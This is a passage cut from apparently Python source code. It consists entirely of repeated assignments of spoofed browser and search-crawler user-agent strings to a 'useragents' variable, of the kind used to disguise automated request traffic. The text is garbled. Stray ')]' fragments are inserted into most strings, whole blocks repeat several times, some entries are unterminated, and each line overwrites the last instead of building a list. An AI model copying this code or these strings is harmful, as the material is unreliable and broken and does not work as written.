Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.2; U; ru)] Presto/2.5.22 Version/10.51')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3)] Gecko/20090913 Firefox/3.5.3')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.1 (KHTML, like Gecko)] Chrome/4.0.219.6 Safari/532.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru)] Presto/2.4.15')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US)] AppleWebKit/125.4 (KHTML, like Gecko, Safari)] OmniWeb/v563.57')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 )] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5)] Gecko/20060706 K-Meleon/1.0')] useragents = [('User-agent','Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')] useragents = [('User-agent','Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de)] AppleWebKit/418 (KHTML, like Gecko)] Shiira/1.2.2 Safari/125')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686 (x86_64)]; en-US; rv:1.8.1.6)] Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)]')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.1; U; en-us)] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)]')] useragents = [('User-agent','Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; Konqueror/4.3; Linux)] KHTML/4.3.5 (like Gecko)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)]')] useragents = [('User-agent','Opera/9.80 (Macintosh; U; de-de)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9)] Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)] Gecko/20060706 IEMobile/7.0')] useragents = [('User-agent','Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us)] AppleWebKit/531.21.10 (KHTML, like Gecko)] Version/4.0.4 Mobile/7B334b Safari/531.21.10')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US)] AppleWebKit/534.16 (KHTML, like Gecko)] Chrome/10.0.648.205 Safari/534.16')] useragents = [('User-agent','Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.2; U; ru)] Presto/2.5.22 Version/10.51')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7)] Gecko/20091221 Firefox/3.5.7')] useragents = [('User-agent','BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.)] Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.1; U; en-US)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4)] Gecko/20050720 Minimo/0.007')] useragents = [('User-agent','BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Googlebot/2.1 (http://www.googlebot.com/bot.html)]')] useragents = [('User-agent','Opera/9.20 (Windows NT 6.0; U; en)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1)] Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Opera/10.00 (X11; Linux i686; U; en)] Presto/2.2.0')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL)] AppleWebKit/528.16 (KHTML, like Gecko)] Version/4.0 Safari/528.16')] useragents = [('User-agent','Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13)] Gecko/20101209 Firefox/3.6.13')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3)] Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8)] Gecko/20100804 Gentoo Firefox/3.6.8')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7)] Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7')] useragents = [('User-agent','Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)]')] useragents = [('User-agent','YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3)] Gecko/20090913 Firefox/3.5.3')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.1 (KHTML, like Gecko)] Chrome/4.0.219.6 Safari/532.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.2; U; ru)] Presto/2.5.22 Version/10.51')] useragents = [('User-agent','AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3)] Gecko/20090913 Firefox/3.5.3')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.1 (KHTML, like Gecko)] Chrome/4.0.219.6 Safari/532.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru)] Presto/2.4.15')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US)] AppleWebKit/125.4 (KHTML, like Gecko, Safari)] OmniWeb/v563.57')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 )] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5)] Gecko/20060706 K-Meleon/1.0')] useragents = [('User-agent','Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')] useragents = [('User-agent','Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de)] AppleWebKit/418 (KHTML, like Gecko)] Shiira/1.2.2 Safari/125')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686 (x86_64)]; en-US; rv:1.8.1.6)] Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)]')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.1; U; en-us)] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)]')] useragents = [('User-agent','Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; Konqueror/4.3; Linux)] KHTML/4.3.5 (like Gecko)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)]')] useragents = [('User-agent','Opera/9.80 (Macintosh; U; de-de)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9)] Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)] Gecko/20060706 IEMobile/7.0')] useragents = [('User-agent','Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us)] AppleWebKit/531.21.10 (KHTML, like Gecko)] Version/4.0.4 Mobile/7B334b Safari/531.21.10')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US)] AppleWebKit/534.16 (KHTML, like Gecko)] Chrome/10.0.648.205 Safari/534.16')] useragents = [('User-agent','Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.2; U; ru)] Presto/2.5.22 Version/10.51')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7)] Gecko/20091221 Firefox/3.5.7')] useragents = [('User-agent','BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.)] Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.1; U; en-US)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4)] Gecko/20050720 Minimo/0.007')] useragents = [('User-agent','BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3)] Gecko/20090913 Firefox/3.5.3')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.1 (KHTML, like Gecko)] Chrome/4.0.219.6 Safari/532.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru)] Presto/2.4.15')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US)] AppleWebKit/125.4 (KHTML, like Gecko, Safari)] OmniWeb/v563.57')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 )] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5)] Gecko/20060706 K-Meleon/1.0')] useragents = [('User-agent','Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')] useragents = [('User-agent','Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de)] AppleWebKit/418 (KHTML, like Gecko)] Shiira/1.2.2 Safari/125')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686 (x86_64)]; en-US; rv:1.8.1.6)] Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)]')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.1; U; en-us)] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)]')] useragents = [('User-agent','Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; Konqueror/4.3; Linux)] KHTML/4.3.5 (like Gecko)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)]')] useragents = [('User-agent','Opera/9.80 (Macintosh; U; de-de)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9)] Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)] Gecko/20060706 IEMobile/7.0')] useragents = [('User-agent','Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us)] AppleWebKit/531.21.10 (KHTML, like Gecko)] Version/4.0.4 Mobile/7B334b Safari/531.21.10')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US)] AppleWebKit/534.16 (KHTML, like Gecko)] Chrome/10.0.648.205 Safari/534.16')] useragents = [('User-agent','Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.2; U; ru)] Presto/2.5.22 Version/10.51')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7)] Gecko/20091221 Firefox/3.5.7')] useragents = [('User-agent','BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.)] Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.1; U; en-US)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4)] Gecko/20050720 Minimo/0.007')] useragents = [('User-agent','BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')] useragents = [('User-agent','Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html)] Gecko/2008032620')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)] AddSugarSpiderBot www.idealobserver.com')] useragents = [('User-agent','Mozilla/5.0 (compatible; AnyApexBot/1.0; +http://www.anyapex.com/bot.html)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; Arachmo)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; B-l-i-t-z-B-O-T)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)]')] useragents = [('User-agent','Sqworm/2.9.85-BETA (beta_release; 